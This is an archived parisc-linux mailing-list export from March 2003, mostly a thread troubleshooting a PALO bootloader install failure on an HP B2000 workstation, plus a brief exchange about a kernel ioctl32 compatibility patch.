I just don't understand what's wrong with your box. We installed=20
several B2k here with the netinst we provide; never had a problem.

I strongly recommend you try to get back to a very basic configuration=20=

(no fancy cards...) and boot on the internal CD...

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

Le lundi, 10 mar 2003, =E0 16:15 Europe/Paris, Derek Engelhaupt a =E9crit =
:

> Well all efforts have failed.=A0 I now tried to use an internal drive =
in=20
> the B2000 totally bypassing the card and the array with the same=20
> results.=A0 It still won't load PALO.=A0 The whole install goes well, =
but=20
> no PALO.=A0 Is there a newer version of PALO that isn't on the =
2.4.20-32=20
> release that I could try?
>
> derek
>
> =A0Derek Engelhaupt <derekengelhaupt@rocketmail.com> wrote:
>
> Basically my B2000 with the A4977A PCI EG graphics card starts up and=20=

> allows me to load all the way until making the system bootable.=A0 =
Then=20
> I get an error saying PALO won't load and then dumps me all the way=20
> back to the "choose a language" screen.=A0 It's so weird because the=20=

> card and the disks hanging off of the card are out of my C360 and=20
> functioned great with it.=A0 I think I will blow away the the LUN in =
the=20
> array that I'm using, format it and try again starting with the disk=20=

> partitioning.=A0 It does seem to want to use the EG graphics card=20
> though.=A0 As a side note, I think it's cool that the front LCD screen=20=

> tells me I'm running Linux and the current kernel revision.=A0 Any > =
ideas?
>
> derek
>
> =A0"Copeland, Daniel" <Daniel.Copeland@alcoa.com> wrote:
>
> Thanks. The latest netinst iso worked...
>
> -----Original Message-----
> From: Thibaut VARENE [mailto:varenet@esiee.fr]
> Sent: Thursday, February 27, 2003 6:51 PM
> To: Copeland, Daniel
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: question about pa-risc linux on hp b2600 workstation
>
>
> On Thu, 27 Feb 2003 10:40:42 -0500
> "Copeland, Daniel" wrote:
>
> > Hello,
> >
> > Did you have to get special usb drivers to be able to install? I
> downloaded
> > the debian v. 3.0 iso and it boots fine, I just can't acknowledge w/=20=

> my
> > keyboard...
>
> perhaps you should read the section related to b2600 on this page:
> http://pateam.esiee.fr/list.html
>
> the mailing-list archive:
> http://www.fr.parisc-linux.org/mailing-lists/
>
> eventually the FAQ (there's an entry about USB keyboards)
> http://www.fr.paris c-linux.org/faq/
>
> and the Boot HOWTO
> http://pateam.esiee.fr/doc.html
>
> everything is explained there.
>
> you need one of the latest netinst isos to install your box:
> http://pateam.esiee.fr/download.html
>
> HTH,
>
>
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
>
> (mail CC'd to the m-l to feed the archive)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>
<image.tiff>
>
> Do you Yahoo!?
> Yahoo! Tax Center - forms, calculators, tips, and more
>
>
>
<image.tiff>
>
> Do you Yahoo!?
> Yahoo! Tax Center - forms, calculators, tips, and more




From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] trouble loading from netinst ISO on B2000
Date: Mon, 10 Mar 2003 17:18:31 +0100
Lines: 129
Approved: news@gmane.org
Message-ID: <3E68A24B000005A2@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622268 22687 80.91.229.3 (22 Nov 2014 02:11:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:08 +0000 (UTC)
To: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 10 09:18:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12F78482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Mar 2003 09:18:36 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18sPyz-0007Eo-00; Mon, 10 Mar 2003 17:18:33 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 10 Mar 2003 17:18:31 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17880

Hello Derek,

I also install a b2k with the help of a netinstall image (but a long time
ago :) ).

If I well understand your system is basically installed on your partitionned
disk (excepted that palo failled to completly install)?

Could you give us more details on those disk and its partitions?

By the way, in the install menu there is an option to 'execute a shell'
(IIRC).

Always IIRC, cfdisk should be install on your netinstall image and would
allow you to printout those details in the shell you just launch as above?

Before you exist this shell, can you still give us the content of palo.conf
installed on your disk?

Well, I do not yet test usb stuff on this b2k (as for the interanl gfx there
is not yet support I only use serial console) but IMHO there is no relation
with the failure of the palo install.

Joel


>-- Original Message --
>From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
>Subject: Re: [parisc-linux] trouble loading from netinst ISO on B2000
>To: parisc-linux@lists.parisc-linux.org
>Date: Mon, 10 Mar 2003 07:15:59 -0800 (PST)
>
>
>
>Well all efforts have failed.  I now tried to use an internal drive in
the
>B2000 totally bypassing the card and the array with the same results.
It
>still won't load PALO.  The whole install goes well, but no PALO.  Is there
>a newer version of PALO that isn't on the 2.4.20-32 release that I could
>try?
>derek
> Derek Engelhaupt <derekengelhaupt@rocketmail.com> wrote:
>Basically my B2000 with the A4977A PCI EG graphics card starts up and allows
>me to load all the way until making the system bootable.  Then I get an
error
>saying PALO won't load and then dumps me all the way back to the "choose
>a language" screen.  It's so weird because the card and the disks hanging
>off of the card are out of my C360 and functioned great with it.  I think
>I will blow away the the LUN in the array that I'm using, format it and
try
>again starting with the disk partitioning.  It does seem to want to use
the
>EG graphics card though.  As a side note, I think it's cool that the front
>LCD screen tells me I'm running Linux and the current kernel revision.
 Any
>ideas?
>derek
> "Copeland, Daniel" <Daniel.Copeland@alcoa.com> wrote: Thanks. The latest
>netinst iso worked...
>
>-----Original Message-----
>From: Thibaut VARENE [mailto:varenet@esiee.fr]
>Sent: Thursday, February 27, 2003 6:51 PM
>To: Copeland, Daniel
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: question about pa-risc linux on hp b2600 workstation
>
>
>On Thu, 27 Feb 2003 10:40:42 -0500
>"Copeland, Daniel" wrote:
>
>> Hello,
>>
>> Did you have to get special usb drivers to be able to install? I
>downloaded
>> the debian v. 3.0 iso and it boots fine, I just can't acknowledge w/
my
>> keyboard...
>
>perhaps you should read the section related to b2600 on this page:
>http://pateam.esiee.fr/list.html
>
>the mailing-list archive:
>http://www.fr.parisc-linux.org/mailing-lists/
>
>eventually the FAQ (there's an entry about USB keyboards)
>http://www.fr.paris c-linux.org/faq/
>
>and the Boot HOWTO
>http://pateam.esiee.fr/doc.html
>
>everything is explained there.
>
>you need one of the latest netinst isos to install your box:
>http://pateam.esiee.fr/download.html
>
>HTH,
>
>
>Thibaut VARENE
>The PA/Linux ESIEE Team
>http://pateam.esiee.fr/
>
>(mail CC'd to the m-l to feed the archive)
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>---------------------------------
>Do you Yahoo!?
>Yahoo! Tax Center - forms, calculators, tips, and more
>
>
>---------------------------------
>Do you Yahoo!?
>Yahoo! Tax Center - forms, calculators, tips, and more



---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] trouble loading from netinst ISO on B2000
Date: Mon, 10 Mar 2003 09:31:47 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20030310163147.GA12389@dsl2.external.hp.com>
References: <20030310015353.95148.qmail@web12501.mail.yahoo.com> <20030310151559.37375.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622269 22692 80.91.229.3 (22 Nov 2014 02:11:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 10 09:31:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 8B572485E; Mon, 10 Mar 2003 09:31:47 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030310151559.37375.qmail@web12501.mail.yahoo.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17881

On Mon, Mar 10, 2003 at 07:15:59AM -0800, Derek Engelhaupt wrote:
> Well all efforts have failed.  I now tried to use an internal drive in
> the B2000 totally bypassing the card and the array with the same results.
> It still won't load PALO.  The whole install goes well, but no PALO.

The last sentence doesn't agree with what you wrote earlier.

The above sounds like you are trying to boot from the wrong disk.
AFAIK, the debian install does not change the primary/secondary boot
path to point to the disk you installed on. Interrupt the boot
process and direct the primary (firmware) boot to try different disks.

> Is there a newer version of PALO that isn't on the 2.4.20-32 release
> that I could try?

This has nothing to do with palo version.
If PALO failed to load the kernel, then we could talk about PALO
versions.

> Then I get an error saying PALO won't load and then dumps me all the way
> back to the "choose a language" screen.

This sounds more like a bug in the installer scripts.
I suggest trying to work around it by going into the shell
and running palo by hand.  PALO HowTo is here:
	http://en.tldp.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/palo.html

grant


From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ioctl32 cleanup -- rest of architectures
Date: Mon, 10 Mar 2003 17:28:32 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20030310172832.GG5278__42376.0004145608$1416622269$gmane$org@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622269 22694 80.91.229.3 (22 Nov 2014 02:11:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:09 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Pavel Machek <pavel@ucw.cz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 10 10:28:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E441482E
	for <parisc-linux@parisc-linux.org>; Mon, 10 Mar 2003 10:28:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18sR4i-0003ey-00; Mon, 10 Mar 2003 17:28:32 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17882

Could you cc myself or parisc-linux@parisc-linux.org in future please?

first, you've called it `compact_sys_ioctl' -- it should be `compat_sys_ioctl'.
it's compatible, not really small ;-)

second, you've not changed the definition in arch/parisc/kernel/syscall.S:

-	ENTRY_DIFF(ioctl)
+	ENTRY_COMP(ioctl)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux]RESOLVED: trouble loading from netinst ISO on B2000
Date: Mon, 10 Mar 2003 10:20:20 -0800 (PST)
Lines: 156
Approved: news@gmane.org
Message-ID: <20030310182020.92986.qmail@web12501.mail.yahoo.com>
References: <3E68A24B000005A2@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-449751268-1047320420=:92762"
X-Trace: ger.gmane.org 1416622269 22696 80.91.229.3 (22 Nov 2014 02:11:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 10 11:20:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 3FC55482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Mar 2003 11:20:21 -0700 (MST)
Original-Received: from [12.24.253.152] by web12501.mail.yahoo.com via HTTP; Mon, 10 Mar 2003 10:20:20 PST
In-Reply-To: <3E68A24B000005A2@ocpmta6.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17883

--0-449751268-1047320420=:92762
Content-Type: text/plain; charset=us-ascii


Sometimes I really amaze myself at how moronic I can be at times.  My problem with PALO was that I didn't set the /boot partition to f0 as the files system type during the disk partitioning.  Of course PALO didn't know what to do with that.  Duh.....I feel like an idiot....  
derek
 
Joel Soete <jsoe0708@tiscali.be> wrote:Hello Derek,

I also install a b2k with the help of a netinstall image (but a long time
ago :) ).

If I well understand your system is basically installed on your partitionned
disk (excepted that palo failled to completly install)?

Could you give us more details on those disk and its partitions?

By the way, in the install menu there is an option to 'execute a shell'
(IIRC).

Always IIRC, cfdisk should be install on your netinstall image and would
allow you to printout those details in the shell you just launch as above?

Before you exist this shell, can you still give us the content of palo.conf
installed on your disk?

Well, I do not yet test usb stuff on this b2k (as for the interanl gfx there
is not yet support I only use serial console) but IMHO there is no relation
with the failure of the palo install.

Joel


>-- Original Message --
>From: Derek Engelhaupt 
>Subject: Re: [parisc-linux] trouble loading from netinst ISO on B2000
>To: parisc-linux@lists.parisc-linux.org
>Date: Mon, 10 Mar 2003 07:15:59 -0800 (PST)
>
>
>
>Well all efforts have failed. I now tried to use an internal drive in
the
>B2000 totally bypassing the card and the array with the same results.
It
>still won't load PALO. The whole install goes well, but no PALO. Is there
>a newer version of PALO that isn't on the 2.4.20-32 release that I could
>try?
>derek
> Derek Engelhaupt wrote:
>Basically my B2000 with the A4977A PCI EG graphics card starts up and allows
>me to load all the way until making the system bootable. Then I get an
error
>saying PALO won't load and then dumps me all the way back to the "choose
>a language" screen. It's so weird because the card and the disks hanging
>off of the card are out of my C360 and functioned great with it. I think
>I will blow away the the LUN in the array that I'm using, format it and
try
>again starting with the disk partitioning. It does seem to want to use
the
>EG graphics card though. As a side note, I think it's cool that the front
>LCD screen tells me I'm running Linux and the current kernel revision.
Any
>ideas?
>derek
> "Copeland, Daniel" wrote: Thanks. The latest
>netinst iso worked...
>
>-----Original Message-----
>From: Thibaut VARENE [mailto:varenet@esiee.fr]
>Sent: Thursday, February 27, 2003 6:51 PM
>To: Copeland, Daniel
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: question about pa-risc linux on hp b2600 workstation
>
>
>On Thu, 27 Feb 2003 10:40:42 -0500
>"Copeland, Daniel" wrote:
>
>> Hello,
>>
>> Did you have to get special usb drivers to be able to install? I
>downloaded
>> the debian v. 3.0 iso and it boots fine, I just can't acknowledge w/
my
>> keyboard...
>
>perhaps you should read the section related to b2600 on this page:
>http://pateam.esiee.fr/list.html
>
>the mailing-list archive:
>http://www.fr.parisc-linux.org/mailing-lists/
>
>eventually the FAQ (there's an entry about USB keyboards)
>http://www.fr.paris c-linux.org/faq/
>
>and the Boot HOWTO
>http://pateam.esiee.fr/doc.html
>
>everything is explained there.
>
>you need one of the latest netinst isos to install your box:
>http://pateam.esiee.fr/download.html
>
>HTH,
>
>
>Thibaut VARENE
>The PA/Linux ESIEE Team
>http://pateam.esiee.fr/
>
>(mail CC'd to the m-l to feed the archive)
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>---------------------------------
>Do you Yahoo!?
>Yahoo! Tax Center - forms, calculators, tips, and more
>
>
>---------------------------------
>Do you Yahoo!?
>Yahoo! Tax Center - forms, calculators, tips, and more



---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, and more
--0-449751268-1047320420=:92762
Content-Type: text/html; charset=us-ascii

<P><B><I>Sometimes I really amaze myself at how moronic I can be at times.&nbsp; My problem with PALO was that I didn't set the /boot partition to f0 as the files system type during the disk partitioning.&nbsp; Of course PALO didn't know what to do with that.&nbsp; Duh.....I feel like an idiot....&nbsp; </I></B>
<P><STRONG><EM>derek</EM></STRONG>
<P><B><I></I></B>&nbsp;
<P><B><I>Joel Soete &lt;jsoe0708@tiscali.be&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">Hello Derek,<BR><BR>I also install a b2k with the help of a netinstall image (but a long time<BR>ago :) ).<BR><BR>If I well understand your system is basically installed on your partitionned<BR>disk (excepted that palo failled to completly install)?<BR><BR>Could you give us more details on those disk and its partitions?<BR><BR>By the way, in the install menu there is an option to 'execute a shell'<BR>(IIRC).<BR><BR>Always IIRC, cfdisk should be install on your netinstall image and would<BR>allow you to printout those details in the shell you just launch as above?<BR><BR>Before you exist this shell, can you still give us the content of palo.conf<BR>installed on your disk?<BR><BR>Well, I do not yet test u
 sb stuff on this b2k (as for the interanl gfx there<BR>is not yet support I only use serial console) but IMHO there is no relation<BR>with the failure of the palo install.<BR><BR>Joel<BR><BR><BR>&gt;-- Original Message --<BR>&gt;From: Derek Engelhaupt <DEREKENGELHAUPT@ROCKETMAIL.COM><BR>&gt;Subject: Re: [parisc-linux] trouble loading from netinst ISO on B2000<BR>&gt;To: parisc-linux@lists.parisc-linux.org<BR>&gt;Date: Mon, 10 Mar 2003 07:15:59 -0800 (PST)<BR>&gt;<BR>&gt;<BR>&gt;<BR>&gt;Well all efforts have failed. I now tried to use an internal drive in<BR>the<BR>&gt;B2000 totally bypassing the card and the array with the same results.<BR>It<BR>&gt;still won't load PALO. The whole install goes well, but no PALO. Is there<BR>&gt;a newer version of PALO that isn't on the 2.4.20-32 release
  that I could<BR>&gt;try?<BR>&gt;derek<BR>&gt; Derek Engelhaupt <DEREKENGELHAUPT@ROCKETMAIL.COM>wrote:<BR>&gt;Basically my B2000 with the A4977A PCI EG graphics card starts up and allows<BR>&gt;me to load all the way until making the system bootable. Then I get an<BR>error<BR>&gt;saying PALO won't load and then dumps me all the way back to the "choose<BR>&gt;a language" screen. It's so weird because the card and the disks hanging<BR>&gt;off of the card are out of my C360 and functioned great with it. I think<BR>&gt;I will blow away the the LUN in the array that I'm using, format it and<BR>try<BR>&gt;again starting with the disk partitioning. It does seem to want to use<BR>the<BR>&gt;EG graphics card though. As a side note, I think it's cool that the front<BR>&gt;LCD screen tells me I'm r
 unning Linux and the current kernel revision.<BR>Any<BR>&gt;ideas?<BR>&gt;derek<BR>&gt; "Copeland, Daniel" <DANIEL.COPELAND@ALCOA.COM>wrote: Thanks. The latest<BR>&gt;netinst iso worked...<BR>&gt;<BR>&gt;-----Original Message-----<BR>&gt;From: Thibaut VARENE [mailto:varenet@esiee.fr]<BR>&gt;Sent: Thursday, February 27, 2003 6:51 PM<BR>&gt;To: Copeland, Daniel<BR>&gt;Cc: parisc-linux@lists.parisc-linux.org<BR>&gt;Subject: Re: question about pa-risc linux on hp b2600 workstation<BR>&gt;<BR>&gt;<BR>&gt;On Thu, 27 Feb 2003 10:40:42 -0500<BR>&gt;"Copeland, Daniel" wrote:<BR>&gt;<BR>&gt;&gt; Hello,<BR>&gt;&gt;<BR>&gt;&gt; Did you have to get special usb drivers to be able to install? I<BR>&gt;downloaded<BR>&gt;&gt; the debian v. 3.0 iso and it boots fine, I just can't acknowledge w/<BR>my<BR>&
 gt;&gt; keyboard...<BR>&gt;<BR>&gt;perhaps you should read the section related to b2600 on this page:<BR>&gt;http://pateam.esiee.fr/list.html<BR>&gt;<BR>&gt;the mailing-list archive:<BR>&gt;http://www.fr.parisc-linux.org/mailing-lists/<BR>&gt;<BR>&gt;eventually the FAQ (there's an entry about USB keyboards)<BR>&gt;http://www.fr.paris c-linux.org/faq/<BR>&gt;<BR>&gt;and the Boot HOWTO<BR>&gt;http://pateam.esiee.fr/doc.html<BR>&gt;<BR>&gt;everything is explained there.<BR>&gt;<BR>&gt;you need one of the latest netinst isos to install your box:<BR>&gt;http://pateam.esiee.fr/download.html<BR>&gt;<BR>&gt;HTH,<BR>&gt;<BR>&gt;<BR>&gt;Thibaut VARENE<BR>&gt;The PA/Linux ESIEE Team<BR>&gt;http://pateam.esiee.fr/<BR>&gt;<BR>&gt;(mail CC'd to the m-l to feed the archive)<BR>&gt;_____________________
 __________________________<BR>&gt;parisc-linux mailing list<BR>&gt;parisc-linux@lists.parisc-linux.org<BR>&gt;http://lists.parisc-linux.org/mailman/listinfo/parisc-linux<BR>&gt;<BR>&gt;<BR>&gt;---------------------------------<BR>&gt;Do you Yahoo!?<BR>&gt;Yahoo! Tax Center - forms, calculators, tips, and more<BR>&gt;<BR>&gt;<BR>&gt;---------------------------------<BR>&gt;Do you Yahoo!?<BR>&gt;Yahoo! Tax Center - forms, calculators, tips, and more<BR><BR><BR><BR>---------------------------------<BR>Vous surfez avec une ligne classique ?<BR>Faites des economies avec Tiscali Complete<BR>... Plus d'info sur http://complete.tiscali.be<BR><BR></BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/">Yahoo! Tax Center</a> - forms, calculators, tips, and more
--0-449751268-1047320420=:92762--


From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ioctl32 cleanup -- rest of architectures
Date: Mon, 10 Mar 2003 19:56:47 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20030310185647.GA11310__11211.2651033842$1416622270$gmane$org@atrey.karlin.mff.cuni.cz>
References: <20030310172832.GG5278@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622270 22702 80.91.229.3 (22 Nov 2014 02:11:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:10 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 10 11:56:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atrey.karlin.mff.cuni.cz (atrey.karlin.mff.cuni.cz [195.113.31.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id 998F6482E
	for <parisc-linux@parisc-linux.org>; Mon, 10 Mar 2003 11:56:49 -0700 (MST)
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
	id A06CF4F9B3; Mon, 10 Mar 2003 19:56:47 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20030310172832.GG5278@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17884

Hi!

> Could you cc myself or parisc-linux@parisc-linux.org in future
> please?

Yes, I'll try to cc you.


> first, you've called it `compact_sys_ioctl' -- it should be `compat_sys_ioctl'.
> it's compatible, not really small ;-)

Ouch, stupid typo. Sorry

> second, you've not changed the definition in arch/parisc/kernel/syscall.S:
> 
> -	ENTRY_DIFF(ioctl)
> +	ENTRY_COMP(ioctl)

So I should take arch/parisc/kernel/syscall.S and change
ENTRY_DIFF(ioctl) into ENTRY_COMP(ioctl)? Great, thanx.

[BTW have you actually tested it or are these just first obvious
mistakes?]

								Pavel
-- 
Horseback riding is like software...
...vgf orggre jura vgf serr.


From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0001
